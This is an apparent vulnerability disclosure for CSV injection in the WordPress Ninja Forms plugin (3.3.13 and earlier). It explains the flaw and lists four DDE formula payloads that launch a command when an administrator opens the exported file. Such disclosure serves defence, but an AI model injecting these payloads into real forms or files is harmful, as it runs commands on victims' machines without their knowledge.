# Exploit Title: Wordpress Plugin Ninja Forms - CSV Injection
# Exploit Author: Mostafa Gharzi
# Website: https://www.certcc.ir
# Date: 2018-08-19
# Google Dork: N/A
# Vendor: The WP Ninjas
# Software Link: https://wordpress.org/plugins/ninja-forms/
# Affected Version: 3.3.13 and before
# Active installations: 1+ million
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64 & Kali Linux

# 1. Plugin Description:
# Ninja Forms is the ultimate FREE form creation tool for WordPress. Build
forms within minutes using
# a simple yet powerful drag-and-drop form creator. For beginners, quickly
and easily design complex forms
# with absolutely no code. For developers, utilize built-in hooks, filters,
and even custom field templates
# to do whatever you need at any step in the form building or submission
using Ninja Forms as a framework.
# Input information to the form is stored and exported in a csv file.

# 2. Technical Description:
# WordPress Ninja Forms plugin version 3.3.13 and before are affected by
Remote Code Execution
# through the CSV injection vulnerability. This allows an application user
to inject commands as part
# of the fields of forms and these commands are executed when a user with
greater privilege exports
# the data in CSV and opens that file on his machine.

# 3. Proof Of Concept (PoC):
# Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the form,
for example, in name field.
# When the user with high privileges logs in to the application, export
data in CSV and opens the
# generated file, the command is executed and the calculator will run open
on the machine.

# 4. Payloads:
=SUM(1+1)*cmd|' /C calc'!A0
+SUM(1+1)*cmd|' /C calc'!A0
-SUM(1+1)*cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0